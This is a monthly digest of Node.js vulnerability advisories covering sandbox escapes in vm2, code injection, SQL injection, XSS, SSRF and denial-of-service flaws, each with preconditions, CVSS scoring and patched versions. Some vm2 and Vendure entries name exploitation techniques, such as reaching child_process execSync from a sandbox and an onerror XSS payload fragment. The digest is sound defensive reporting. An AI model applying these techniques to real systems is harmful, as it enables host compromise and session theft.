Node.js
Monthly
Converting an attacker-supplied .docx file with mammoth.js before 1.12.2 allows unauthenticated remote attackers to inject arbitrary properties into Object.prototype via the document's style definitions (CWE-1321 prototype pollution). In versions 1.11.0 through 1.12.1 the pollution can additionally be leveraged to read local server files and disclose them to the document supplier, but only where the application converts further documents in the same long-lived Node.js process and returns the converted HTML back to that party. There is no confirmed active exploitation (not in CISA KEV) and no public exploit code identified at time of analysis; vendor-released patch: 1.12.2.
Remote code execution in mcp-remote 0.1.16 through 0.1.38 allows an attacker who controls or compromises a remote MCP server to run arbitrary code on a connected client by supplying a malicious OAuth authorization URL that the tool passes to open() without validation. Exploitation requires the victim to initiate a connection to that malicious server (user interaction, UI:R) and no victim-side authentication is required (PR:N); users who connect only to trusted first-party MCP servers are not affected. The EPSS score is low (0.29%, 19th percentile), no public exploit identified at time of analysis, and no CISA KEV confirmation of active exploitation.
Server-side request forgery in mcp-remote 0.1.32 through 0.1.38 allows an unauthenticated remote attacker who controls or compromises the remote MCP server the victim connects to to make the client fetch attacker-chosen internal or metadata URLs during OAuth discovery. The victim must initiate the connection (UI:R), and the attacker supplies a malicious WWW-Authenticate header whose resource_metadata URL is not validated by the client. No public exploit or KEV activity was identified at time of analysis and EPSS is low at 0.17% (5th percentile); our independent assessment rates the issue CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N, requiring user interaction and limiting impact to confidentiality, rather than the reported UI:N and integrity impact.
Code injection in the Orval OpenAPI-to-TypeScript client generator (@orval/core) before 8.30.0 lets an attacker who controls the default value of a date or date-time field in an OpenAPI schema splice arbitrary JavaScript into generated factory code, which then executes with the privileges of whatever process consumes the generated client. Exploitation is not remote against a deployed service: it requires the non-default factoryMethods and useDates options to be enabled, a developer running codegen against a spec the attacker can influence, and the resulting factory client being executed, giving an assessed CVSS 3.1 vector of AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (the advisory lists 9.2 under CVSS 4.0). No public exploit identified at time of analysis and no confirmed active exploitation (CISA KEV); the vendor has shipped a fix in 8.30.0.
Unauthenticated SQL injection in ReactPress versions prior to 3.7.0 allows remote attackers to read arbitrary data from the underlying database by supplying crafted query-string parameter names to the API list endpoints for articles, comments, files, knowledge entries, and pages. Because the application interpolates those attacker-controlled names directly as SQL column identifiers while only parameterizing the values, no authentication, user interaction, or non-default configuration is required - any network-reachable ReactPress instance running an affected version is exposed, as reflected in the CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5) and CWE-89 classification. Exploitation is limited to information disclosure through the injected LIKE clause (no integrity or availability impact has been demonstrated), and no public exploit code has been identified at time of analysis, with vendor-released patch version 3.7.0 available.
Authenticated users of Unleash (the open-source feature management platform) can bypass project-scoped authorization and reach configuration data and write operations belonging to projects and environments they should not control, due to a cluster of broken-access-control defects fixed in version 8.0.3. The most serious is a missing `await` on an async permission check in POST /api/admin/segments/strategies, which lets any authenticated account with an admin-API session modify segment assignments on any strategy in any project; four additional cross-project IDOR issues (CWE-639) expose variant configurations, strategy configurations, environment information, and permit tag modification across project boundaries. Exploitation requires only a valid Unleash account at any privilege level with network reach to the admin API - no anonymous access and no administrator role - so practical exposure is concentrated in multi-project or multi-tenant deployments where authenticated users are not uniformly trusted with every project; no public exploit code has been identified at time of analysis and the issue is not confirmed actively exploited.
Denial of service in the request-filtering-agent npm package (all versions prior to 3.2.1) lets remote attackers terminate a Node.js process by causing the application to request a literal private or reserved IP address such as 127.0.0.1 or the cloud-metadata address 169.254.169.254. RequestFilteringHttpAgent and RequestFilteringHttpsAgent threw synchronously from createConnection when rejecting such a literal IP; because Node's http.request/http.get expect connection failures to arrive asynchronously, the throw escaped req.on('error') and surfaced as an uncaught exception that crashes the process (CWE-248). The vector is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5), so exploitation is unauthenticated but strictly an availability impact - the private-IP filter itself still rejects the request, and no confidentiality or integrity loss is assessed. No public exploit code has been identified at time of analysis, and there is no CISA KEV listing; successful exploitation additionally requires the consuming application to let attacker input reach the agent as a bare IP literal rather than a hostname.
Arbitrary code execution in the npm front-matter parser gray-matter is reachable through its built-in JavaScript engine, which evaluates front matter with eval() whenever the document declares a js/javascript language fence. Any application that passes attacker-influenced markdown or front-matter text into gray-matter's parse call can be induced to run attacker-supplied JavaScript in the Node.js process - the CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, 9.8) rates this as unauthenticated remote code execution, with the practical caveat from our assessment that the attack surface is gated by whether the host application exposes gray-matter parsing to untrusted content. Affected coverage is broad rather than version-specific: the reporter states all versions are impacted and verified 4.0.3, while there is no CISA KEV entry, no confirmed public exploit code, and a low EPSS of 0.17% (7th percentile) indicating limited observed exploitation pressure at time of analysis.
Stored cross-site scripting in SiYuan through 3.8.4 lets an attacker who can set a notebook name containing an HTML payload have that markup rendered unescaped when the Daily Note picker dialog is opened, executing JavaScript inside the Electron renderer where Node.js integration is available and escalating to operating system command execution. Exploitation is gated by two preconditions: the attacker must be able to create or inject a notebook carrying the payload (a shared or synced workspace, a server-mode multi-user deployment, or an imported malicious notebook), and the victim must open the picker; the assessed CVSS 3.1 vector is AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H, while the published CVSS 4.0 score of 8.6 carries PR:N/UI:A, so the two scorings disagree on whether prior privileges are needed. This is treated as a genuine high-priority issue rather than a high-score-but-low-real-risk case, because the impact chain terminates in OS command execution rather than mere client-side script execution; no public exploit code and no confirmed active exploitation were identified at time of analysis, and a purely local single-user instance that never ingests external notebooks has a materially smaller attack surface.
Cross-client information disclosure in http-cache-semantics through 4.2.0 allows remote, unauthenticated attackers to receive cached responses that were generated for other users. The library's _varyMatches() function performs byte-for-byte comparison of Vary header values and therefore fails to treat a wildcard 'Vary: *' directive as a prohibition on shared-cache reuse, so a request for a URL previously fetched by someone else can be satisfied from cache with that other client's sensitive per-user data. Exploitation is conditional and non-deterministic - it requires a shared, multi-user cache deployment and an origin that emits wildcard Vary on cacheable responses - which is consistent with the vendor CVSS 4.0 score of 8.2 with AC:H and AT:P; no public exploit code has been identified at time of analysis.
Denial of service in source-map-js up to and including 1.2.1 allows an attacker who can supply an indexed source map to hang the Node.js process: the library reads the per-section offset.line value without bounds checking, so an arbitrarily large integer forces a long synchronous loop that blocks the event loop and starves all other requests. The flaw (CWE-1284, improper validation of a specified quantity) is reachable only where a service actually parses attacker-controlled maps - for example an online transpiler, upload-accepting bundler service, or error/stack-trace resolver - since source maps are normally trusted build-time artifacts; the assessed CVSS 3.1 vector (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) reflects that data-flow prerequisite, and no public exploit was identified at time of analysis. Impact is availability only; despite the 'Information Disclosure' tag in some feeds, there is no confidentiality or integrity loss in the assessed vector.
Cross-user information disclosure in the http-cache-semantics npm library (through 4.2.0) allows unauthenticated attackers to retrieve cached HTTP responses belonging to other users from a shared cache. By re-requesting an identical URL with a large client-supplied Cache-Control: max-stale directive, an attacker can cause the library to serve cache entries that were deliberately security-zeroed - such as responses carrying Set-Cookie session credentials - instead of suppressing them. The vendor CVSS 4.0 score is 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H), while the independent assessment rates it CVSS 3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N, reflecting that real-world exploitation depends on a downstream shared-cache configuration that stores authenticated responses; the vendor advisory is available from VulnCheck. No public exploit code and no confirmed active exploitation were identified at time of analysis.
Memory exhaustion in the adm-zip Node.js library before 0.6.1 allows remote, unauthenticated attackers to crash or severely degrade any service that reads entries from untrusted ZIP archives: a 105-byte crafted archive whose central directory declares an uncompressed size of ~1.77 GB forces the library to commit roughly 1.8 GB of resident memory before validation fails, which OOM-kills memory-constrained processes (containers, serverless, small VMs) and, with concurrency, can exhaust larger hosts. Publicly available exploit code exists - the vendor advisory includes a self-contained 105-byte base64 PoC (sha256 980d34356fbb248fe527b9d0ac3eabc5c99393a374014be6199523de16709386) - and the CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, 7.5) confirms a network-reachable availability-only impact with no privileges or user interaction required. There is no indication of confirmed active exploitation (not in CISA KEV), and applications that never parse attacker-controlled ZIPs are not exposed; the practical severity is governed by host memory limits rather than by any authentication or configuration bar.
Denial of service in uri-js through 4.4.1 lets remote, unauthenticated attackers stall a Node.js process indefinitely: the removeDotSegments routine enters an infinite loop when a path segment begins with a Unicode line separator (U+2028) or paragraph separator (U+2029), blocking the event loop until heap exhaustion. The package is an unmaintained, widely pulled-in dependency (commonly transitively, e.g. via ajv), so the risk is driven by prevalence: no public exploit identified at time of analysis and no confirmed actively exploited (CISA KEV) status. Exposure is limited to applications that actually route untrusted input into removeDotSegments directly, or into normalize()/resolve() with IRI handling enabled; code paths handling only trusted or internal URIs are not reachable by this bug.
Stack exhaustion in the Node.js 'braces' library (micromatch) through 3.0.3 lets unauthenticated remote attackers crash the hosting Node.js process by supplying brace patterns nested deeply enough to overflow the call stack - for example long chains of '{{{{...}}}}' kept just under the library's internal character-length limit, so length-based input validation does not block the payload. Exploitation requires an application path that forwards attacker-controlled strings into braces' recursive AST walkers (the braces(), expand(), or compile() paths referenced at parse.js L38-40, expand.js L102-105, and compile.js L49-53), such as a web parameter or filename routed through micromatch/chokidar-style globbing; the result is an uncaught RangeError that terminates the process. Per the supplied CVSS vector (PR:N/UI:N) no authentication or user interaction is needed on the vulnerable code path, and the CVSS 4.0 score of 8.7 is driven entirely by availability (VA:H) with no confidentiality or integrity impact; no public exploit code was identified at time of analysis.
Sandbox escape in vm2 3.12.0 and earlier allows unauthenticated remote attackers who can supply JavaScript to an application embedding vm2's VM or NodeVM to break out of the sandbox and execute arbitrary code on the host, provided the embedder exposes at least one host API returning a host-realm (native) Promise whose rejection value is host-pivotable - the advisory cites a host process object as the example. The flaw is an incomplete rejection-sanitization failure in lib/bridge.js: the sandbox-side Symbol.species and .then neutralization is installed only on the sandbox intrinsic Promise.prototype, so it never applies to host Promises, letting sandboxed code overwrite p.constructor[Symbol.species] and call p.then() without an onRejected handler, after which V8's internal Thrower re-throws the raw host rejection value into an attacker-controlled resolve/reject closure, bypassing handleException and hostPromiseSanitizeReject and yielding an unsanitized, fully functional bridge proxy of the host object. No public exploit identified at time of analysis, but the CVSS 4.0 base score is 10.0 and the issue is fixed in 3.12.1.
Sandbox escape in vm2 NodeVM before 3.12.1 allows unauthenticated remote attackers to execute arbitrary commands on the host, but only when the application has been configured to allow child_process via builtin:['*'] or an explicit allowlist entry. Exploitation requires the host application to run untrusted JavaScript inside a NodeVM instance and to have this misconfiguration; default configurations that do not allow child_process are not vulnerable. The vendor-supplied CVSS 4.0 vector rates this 10.0, while the independent CVSS 3.1 assessment reflects high attack complexity (AC:H) due to the required misconfiguration. No public exploit code or active exploitation has been identified at time of analysis.
Sandbox escape in vm2 through 3.12.0 lets unauthenticated remote attackers execute arbitrary code on the host when the embedding application exposes at least one non-strict (sloppy-mode) host function to the sandbox. By calling such a function with a nullish receiver (`fn()`, `fn.call()`, `Reflect.apply(fn, undefined, [])`, etc.), sandboxed script causes V8 to substitute the host realm’s global object for `this`, which vm2 then wraps and returns as a live proxy of the host global; the attacker can then reach `process` and run commands such as `process.getBuiltinModule('child_process').execSync`. Vendor-released patch: upgrade to 3.12.1; no public exploit identified at time of analysis, but the required pre-condition is common because ordinary JavaScript functions are non-strict by default, and vm2 is deprecated, so unmaintained deployments remain exposed-independent assessment rates this a top-tier priority.
Crafted RESP replies from a malicious, compromised, or impersonated Redis endpoint crash Node.js processes that use redis-parser through 3.0.0, including applications built on node-redis and ioredis, because repeated nested array headers drive unbounded recursion that exhausts the V8 call stack and raises an uncaught RangeError. The flaw is a client-side parser denial of service: it is unauthenticated on the parsing path (CVSS 4.0 vector PR:N/UI:N, CVSS 3.1 assessment AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) and affects default configurations, since recursion depth is not bounded by any setting. Impact is limited to availability - the process terminates without invoking error-handling callbacks - with no confidentiality or integrity effect; the vendor score of 8.7 reflects that high availability impact. No public exploit identified at time of analysis.
Path traversal in AI Agent Automation prior to 0.9.1 lets an authenticated user who can create or modify workflow file steps read or overwrite files outside the intended workspace by supplying '..' segments in the step.path field of a file step. The flaw sits in the executeStep implementation in backend/src/agents/executor.js, where user-controlled paths were resolved against process.cwd() without a containment check, yielding high confidentiality and integrity impact (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N, base 8.1). Exploitation requires only a low-privilege authenticated account with workflow-editing rights; there is no public exploit identified at time of analysis, and the vendor has released a fix in version 0.9.1.
Authenticated cross-tenant data exposure and destruction in AI Agent Automation before 0.9.1: the backend memory controller (backend/src/controllers/memory.controller.js) authenticates requests but never verifies that a caller-supplied agentId or AgentMemory _id belongs to the requesting user, so any logged-in user who knows or obtains another tenant's MongoDB ObjectId can read full AgentMemory records (conversation history, agent context, task data, embeddings, metadata), delete a single victim memory, or wipe all memory for a victim agent. The flaw is CWE-862 (Missing Authorization) and carries a vendor CVSS 3.1 score of 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H), requiring only a valid account (PR:L) with no special configuration or user interaction; the practical barrier is obtaining a valid victim identifier, since ObjectIds are timestamp-based and partially predictable but still must be enumerated or leaked, and meaningful cross-user impact presumes a multi-tenant deployment. No public exploit code and no confirmed active exploitation were identified at time of analysis; exploitability is limited to the identifier-acquisition step rather than any missing precondition.
Reflected cross-site scripting in TS3 Manager prior to 2.2.6 allows an attacker to execute script in the manager's origin when a logged-in operator follows a crafted link to the /api/download handler carrying a malicious port query parameter. Because the token cookie set by the UI store lacks HttpOnly, Secure, and an explicit SameSite attribute, the injected script can read the operator's token and invoke the autofillform socket event, which returns the decoded JWT - including the cleartext ServerQuery password - enabling operator-session hijacking and, when the operator holds administrative ServerQuery credentials, full control of the managed TeamSpeak server. The CVSS vector indicates the attacker needs no prior authentication (PR:N) but user interaction is mandatory (UI:R), meaning the attacker must phish a currently authenticated operator; no public exploit code was identified at time of analysis and the issue is not in CISA KEV. A vendor-released patch is available in 2.2.6.
Improper memory allocation control in ExifReader before 4.41.1 allows remote attackers to exhaust heap memory and terminate the host Node.js process by supplying a crafted HEIC or AVIF (ISO-BMFF) image for metadata parsing. The flaw is unauthenticated and requires no user interaction beyond the target application passing attacker-controlled image data to the library - a small malicious iloc box can allocate hundreds of megabytes of objects, producing a denial of service (CWE-789, CVSS 7.5, availability-only impact). No public exploit code has been identified at time of analysis, and the issue is fixed in version 4.41.1.
Stored cross-site scripting in the Vendure Admin Dashboard (@vendure/dashboard prior to 3.6.5) lets an authenticated, low-privilege administrator store markup in an entity description that executes in a higher-privilege administrator's browser when that administrator opens the affected Products, Collections, Promotions, Payment Methods or Shipping Methods list view, enabling session compromise and cross-privilege or cross-channel administrative actions. The root cause is CWE-79: RichTextDescriptionCell 'strips' HTML by assigning the attacker-controlled description to a live element's innerHTML and only afterwards reading textContent, so active markup such as <img src=x onerror=...> fires during the assignment. The CVSS 3.1 base score is 8.7 (High) on vector AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - network reachable and low complexity, but requiring an authenticated low-privilege admin account (PR:L) plus a victim admin's interaction (UI:R) when a poisoned row is viewed. The vendor advisory includes a working proof-of-concept payload, i.e. publicly available exploit code exists, but the supplied intelligence contains no CISA KEV entry or other indication of confirmed active exploitation.
Account takeover in Vendure (@vendure/core) prior to 3.7.0 allows an attacker to bind their own external OAuth/social identity to a victim's pre-existing customer account by presenting the victim's email address through a custom AuthenticationStrategy that does not enforce provider-verified email ownership. A successful link exposes the victim's orders, addresses and personal information and permits account changes or order placement as the victim, and the flaw is remotely reachable without authentication per the reported vector (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N, 9.1 vendor score). Real-world exposure is materially narrower than that score suggests: only non-default deployments that configure at least one external strategy forwarding an unverified email are affected, and a pre-existing account with the same address must already exist; native email/password-only stores and strategies that always require provider-verified emails are unaffected. No public exploit code was identified at time of analysis and there is no CISA KEV listing indicating confirmed active exploitation; the issue is fixed in 3.7.0.
Unauthenticated denial of service in Vendure (open-source headless commerce platform) versions up to and including 3.6.4 lets a remote attacker freeze the Node.js event loop by supplying a catastrophically backtracking regular expression to the publicly reachable Shop GraphQL products query through StringOperators.regex, rendering both the storefront and admin API unavailable; repeated requests can sustain the outage. The flaw is only reachable on instances running the better-sqlite3 or sqljs SQLite drivers, which register a synchronous JavaScript REGEXP user-defined function on the event loop, whereas PostgreSQL and MySQL/MariaDB deployments push the pattern to the database engine and are unaffected. CVSS 3.1 rates it 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H), and no public exploit code was identified at time of analysis; vendor-released patch: 3.6.5.
Command injection in the @cyclonedx/cyclonedx-npm CLI (versions before 6.0.0) lets an attacker who controls the value passed to the --workspace option run arbitrary operating-system commands on Windows hosts, with the privileges of the user invoking the tool. Exploitation is narrowly gated: the host must be Windows, the CLI must be invoked with --workspace, and the vulnerable Windows fallback npm-execution path in src/npmRunner.ts must be reached, which only occurs when the npm_execpath environment variable does not already point at the npm CLI. The assessed vector (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) shows local attack, no privileges required, but user interaction is needed, so the realistic scenario is a CI/CD or scripted pipeline that feeds untrusted data into --workspace; no public exploit code or confirmed active exploitation was identified at time of analysis, and the flaw is fixed in version 6.0.0.
Memory exhaustion denial of service in vm2 through 3.11.5 lets sandboxed JavaScript escalate beyond the operator-configured bufferAllocLimit by allocating host memory through ArrayBuffer, SharedArrayBuffer, and TypedArray constructors, which the cap never intercepts. Because the allocation is a single synchronous V8 call, vm2's timeout cannot interrupt it, and any deployment that runs untrusted code in a VM - the library's standard use case - is exposed without needing bufferAllocLimit to be enabled at all. Impact is availability-only (CVSS 4.0 8.7; independent assessment CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) and materializes as process OOM-kill, most quickly in memory-capped runtimes such as Docker, Kubernetes, or AWS Lambda; the GHSA advisory ships reproduction code but there is no indication of active exploitation (not listed in CISA KEV), and the issue is resolved in 3.11.6.
Sandboxed JavaScript executed inside vm2's NodeVM before 3.11.6 can step outside the isolation boundary to read host process identity and network topology and, worse, to hijack the host's DNS resolver process-wide. The exposure is gated by two conditions: the embedding application must run attacker-controlled code in NodeVM (the tool's core threat model) and must use the non-default wildcard whitelist builtin: ['*'], which fails to exclude the os and dns modules; the assessed vector is unauthenticated (CVSS PR:N), so once code reaches the sandbox no credentials or user interaction are needed, and a single dns.setServers() call persists for the life of the host process. No public exploit code or confirmed in-the-wild exploitation was identified at time of analysis, and the vendor-released patch is vm2 3.11.6. Real-world priority is driven less by raw severity than by whether a deployment both accepts untrusted code and enables the wildcard builtin list.
Sandboxed JavaScript in vm2 before 3.11.8 can bypass the allowAsync:false restriction by supplying an attacker-controlled thenable to Promise static methods, allowing asynchronous work to continue after VM.run() or NodeVM.run() returns and outside the configured timeout. This is a genuine but moderate-severity protection-mechanism failure (CWE-693) affecting applications that rely on the vm2 sandbox and its async restriction as a trust boundary for executing untrusted code; the CVSS vector indicates PR:L, reflecting the need to supply JavaScript code executed inside the sandbox. No public exploit identified at time of analysis.
Sandbox escape in vm2 through 3.11.6 lets untrusted JavaScript executing inside a NodeVM bypass the configured builtin-module denylist and reach the host filesystem via require('fs/promises') or require('node:fs/promises'), allowing host file creation and modification (confirmed through fsp.writeFile()) plus cp, mkdir, rename, rm, rmdir, truncate and read operations on the host. Exposure is configuration-dependent: only embedders that combine the builtin wildcard with negative entries (for example require: { builtin: ['*', '-fs', '-child_process'] }) are affected, while default configurations and allowlist-style restrictions are not, and no public exploit identified at time of analysis. The flaw is fixed in vm2 3.11.7. Note that the supplied CVSS 4.0 vector carries PR:L while the independent assessment's CVSS 3.1 vector carries PR:N, so authentication requirements are not unambiguously confirmed from available data; exploitation in practice requires only the pre-existing ability to submit sandboxed code.
Sandbox escape in the vm2 Node.js library through 3.11.6 lets untrusted code running inside a NodeVM instance reach the host's child_process builtin and execute operating-system commands whenever the embedding application configures a wildcard builtin require policy containing a node:-prefixed deny entry. The affected configuration (for example new NodeVM({ require: { builtin: ['*', '-node:child_process'] } })) fails to deny the canonical child_process module, so sandboxed code can obtain execSync and spawn via require('child_process') or require('node:child_process'), giving host command-execution capability to code that was supposed to be isolated (CVSS 4.0 base 9.4; assessed CVSS 3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H). Exploitation requires PR:L privileges in the sense that the attacker must already be able to run attacker-controlled JavaScript inside the sandbox, and it only works under that specific deny-list form; a correctly spelled '-child_process' entry, a non-wildcard allow-list, or not exposing child_process at all avoids the flaw. No public exploit code or confirmed active exploitation was identified at time of analysis.
Sandbox escape in vm2 3.10.1 through 3.11.6 on Node.js 26 lets code inside a default `new VM()` sandbox reach the host realm and recover the real host `process` object, granting full host Node.js capabilities such as loading host modules like fs, with high confidentiality, integrity, and availability impact on the process running the sandbox. The assessed vector is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (CVSS 4.0 base score 10.0), meaning unauthenticated remote attackers, and no NodeVM, require permission, or host-object injection is needed - the only hard precondition is that the host process runs Node.js 26. The issue bypasses the earlier JSPI fix for GHSA-6j2x-vhqr-qr7q and is fixed in 3.11.7; no public exploit identified at time of analysis.
Sandbox escape in the vm2 Node.js library (npm package patriksimek:vm2, all versions before 3.11.8) lets untrusted JavaScript executed inside a NodeVM instance reach the host process's __proto__ getter/setter through the sandboxed console._stdout and console._stderr objects, overwrite EventEmitter.prototype.emit, and trigger processes events so that attacker code runs with host process context. Per the vendor CVSS:4.0 vector the flaw is remotely reachable with PR:N and UI:N, so any application that feeds network-supplied JavaScript into a NodeVM gains no additional barrier beyond instantiating the sandbox; no authentication or user interaction is required once code reaches the evaluator. There is no KEV listing and no public exploit identified at time of analysis, but the assessed impact is a complete compromise of the hosting process (S:C/C:H/I:H/A:H), which is why this is treated as maximum severity within its threat model. Note that the AV:N rating reflects the common deployment where untrusted scripts arrive over the network - vm2 is not itself a standalone network service, and applications using it only for trusted code are unaffected.
A denial-of-service flaw in the vm2 Node.js sandbox library (versions 3.10.0 through 3.11.7) allows attacker-controlled JavaScript running inside a NodeVM sandbox to kill the host Node.js process by invoking a host-realm function that returns a rejected Promise and simply ignoring the return value. Because host-origin Promises crossing the bridge are not marked as handled, Node.js's default unhandled-rejection behavior terminates the process; the CVSS 4.0 score is 9.2, and the assessed vector (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H) rates it unauthenticated and network-reachable but entirely gated on the target embedding vm2 to run untrusted code and exposing at least one host Promise-returning API (the advisory cites events.once() via the NodeVM events builtin). No public exploit code and no CISA KEV entry were identified at time of analysis, and this is an incomplete fix of GHSA-hw58-p9xv-2mjh that is resolved in vm2 3.11.8.
Prototype pollution in the vm2 Node.js sandbox (versions 3.11.0 through 3.11.7) lets JavaScript running inside a VM/NodeVM instance walk the prototype chain into host-realm intrinsics and mutate Uint8Array.prototype, %TypedArray%.prototype, and ArrayBuffer.prototype, so the pollution survives after VM.run() returns and is observed by host-created typed arrays. Because the vm2 usage model is to execute untrusted code, the CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N, VI:H/VA:H plus SI:H/SA:H) yields a 9.3 Critical sandbox-escape-class rating: unauthenticated remote attackers who can supply the sandboxed script can reach the host realm, though the impact is only realized if the host application subsequently creates or operates on host-side TypedArray/ArrayBuffer instances. No public exploit code was identified at time of analysis and the issue is not listed as confirmed actively exploited (CISA KEV), so risk is driven by upstream supply-chain exposure of applications embedding vm2 as an untrusted-code boundary. The vulnerability was reported by VulnCheck and is tracked under CWE-913.
vm2 versions 3.11.4 through 3.11.6 allow untrusted JavaScript running inside the sandbox to bypass cross-realm registered-symbol filtering and write Node.js internal stream symbols onto host WebStream objects, corrupting host-visible stream state - for example making stream.Readable.isDisturbed() return false for an already-consumed stream, which can defeat host logic that enforces one-shot body consumption or rejects errored streams. Exploitation is unauthenticated per the CVSS vector (PR:N) but requires a non-default setup: the embedder must expose both a host WebStream object and the host stream/web module to sandboxed code, and the host must run a Node.js release that exposes nodejs.stream.disturbed and nodejs.stream.errored on WebStream prototypes (validated on Node.js v25.8.0). Impact is integrity-only, with no host code execution, confidentiality, or availability loss in the reported proof; no public exploit code has been identified at time of analysis, and the flaw is fixed in vm2 3.11.7.
Sandbox escape in vm2 before 3.11.7 allows an attacker who can already execute JavaScript inside the vm2 sandbox to bypass the external package allowlist and cause unauthorized host packages to be loaded and executed in the host context. The flaw is an incorrect authorization check: vm2 uses non-exact substring matching when validating package names against the allowlist, so a colliding package name that contains an allowlisted substring is approved. Exploitation requires the host application to use vm2 for untrusted code and to rely on the external package allowlist as a trust boundary; the CVSS vector indicates PR:L, meaning low privileges are required, and no public exploit or CISA KEV confirmed active exploitation was identified at time of analysis.
Sandbox escape in the vm2 Node.js sandboxing library before 3.11.7 lets an attacker who supplies a malicious script file to the vm2 command-line tool execute arbitrary code in the host Node.js process, gaining access to host modules such as fs and child_process. The vulnerable entry point is the CLI utility specifically, not the library's programmatic VM/NodeVM API: an attacker-crafted script uses require(__filename) to re-execute itself in the host realm and slip past the sandbox membrane. Exploitation is local rather than network-facing (CVSS 4.0 AV:L/UI:P, PR:N), requiring a victim or automated job to invoke the vm2 CLI against the attacker-controlled file; the vendor rating is 9.3 (critical), but the local vector and required user interaction make real-world exposure materially narrower than the network-facing vm2 escapes, and there is no public exploit identified at time of analysis.
Sandbox escape in vm2 3.9.6 through 3.11.6 lets attacker-supplied JavaScript running inside a NodeVM break out and execute arbitrary code in the host Node.js process when three conditions line up: the host runs Node.js 24 or newer, the embedder has explicitly allowlisted the node:test builtin, and the sandboxed code is under attacker control. The bypass exists because vm2's family-based DANGEROUS_BUILTINS check does not recognise Node.js 24's scheme-only 'node:test' key, so the module is placed in the generic host-passthrough loader, and a single 'node:' prefix strip in requireImpl() means require('node:node:test') resolves to that stored key; forwarded node:test.run() calls reach the host implementation, which spawns a separate Node process and honours attacker-supplied execArgv values such as --eval=<JavaScript>. Vendor severity is 9.4 (CVSS 4.0) and our independent assessment scores it CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, a genuine full sandbox escape to host code execution whose real-world reachability is constrained by the hard Node.js 24+ and non-default node:test allowlist prerequisites; no public exploit identified at time of analysis. Fixed in vm2 3.11.7.
Sandbox escape in vm2 before 3.11.7 lets attacker-supplied JavaScript running inside the sandbox read and write Node.js Buffer memory that belongs to the host realm, exposing sensitive host data drawn from Buffer.from, Buffer.concat and similar allocations while also enabling memory-pressure/availability abuse. The only precondition is that the host application executes untrusted code through vm2 - the library's core use case for plugin engines, eval services and code runners - so no special toggle is required; a remote attacker is unauthenticated per the CVSS vector (PR:N) but there is no over-the-network attack path against vm2 in isolation, and applications that only run trusted code or have already migrated to isolated-vm are unaffected. The vendor assigns CVSS 4.0 10.0 (VC:H/VI:H/SC:H/SI:H), while our independent assessment of the same issue is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L - we agree on the confidentiality and sandbox-boundary (scope-change) severity but rate integrity impact lower; no public exploit identified at time of analysis and no CISA KEV entry, though the deployment pattern makes weaponizable preconditions trivial once a sandbox is reachable. Fixed in 3.11.7.
Sandbox escape leading to remote code execution affects the vm2 Node.js sandbox library before version 3.11.7 when the embedding application enables require.external without an explicit require.root that excludes node_modules. Under that configuration, attacker-supplied JavaScript running inside the sandbox can require vm2's own package, construct an unrestricted NodeVM instance, and then execute arbitrary host OS commands through child_process, yielding a complete escape from the sandbox to the underlying operating system. Exploitation requires two operator-chosen, non-default preconditions (running untrusted code in vm2 AND the permissive require configuration), so deployments that leave require.external disabled or pin require.root away from node_modules are not exposed; no public exploit code was identified at time of analysis, and the vendor-released fix is version 3.11.7.
Sandbox escape in the vm2 npm library versions 3.10.2 through 3.11.6, when running on Node.js 26, allows attacker-supplied JavaScript to break out of the sandbox and reach the host Function constructor and process object, resulting in arbitrary code execution. The escape is unauthenticated and requires no special vm2 configuration - no require.external, builtin allowlists, or unsafe options - but it is gated on the Node.js 26 / V8 14.6 runtime, so the same vm2 versions on other Node.js major versions are not affected by this finding. No public exploit code and no confirmed active exploitation were identified at time of analysis; the practical prerequisite is that a deployment accepts and executes untrusted code inside vm2, which is the library's core threat model.
Denial of service in vm2 through 3.11.6 lets sandboxed JavaScript escape the VM({ timeout }) accounting and block the host event loop indefinitely. Because FinalizationRegistry and WeakRef are exposed to the sandbox unmodified (they are not among the hardened globals in lib/setup-sandbox.js) and the timeout only wraps the single _runScript() call via doWithTimeout() in lib/vm.js, sandboxed code can register a FinalizationRegistry cleanup callback, drop the last strong reference to the target object, and return from vm.run() well within the configured timeout; when V8 later reclaims the object it invokes the sandboxed callback with no timeout in effect, so a busy loop there hangs the host process for an unbounded period. Exploitation requires a host application that executes attacker-controlled JavaScript inside vm2 and relies on VM({timeout}) as its resource-exhaustion control - vm2's intended use case. Impact is availability only (no sandbox escape, code execution, or data disclosure), and no public exploit identified at time of analysis; the main practical limiter is that GC timing is non-deterministic and only loosely influenced by the attacker via memory pressure or --expose-gc.
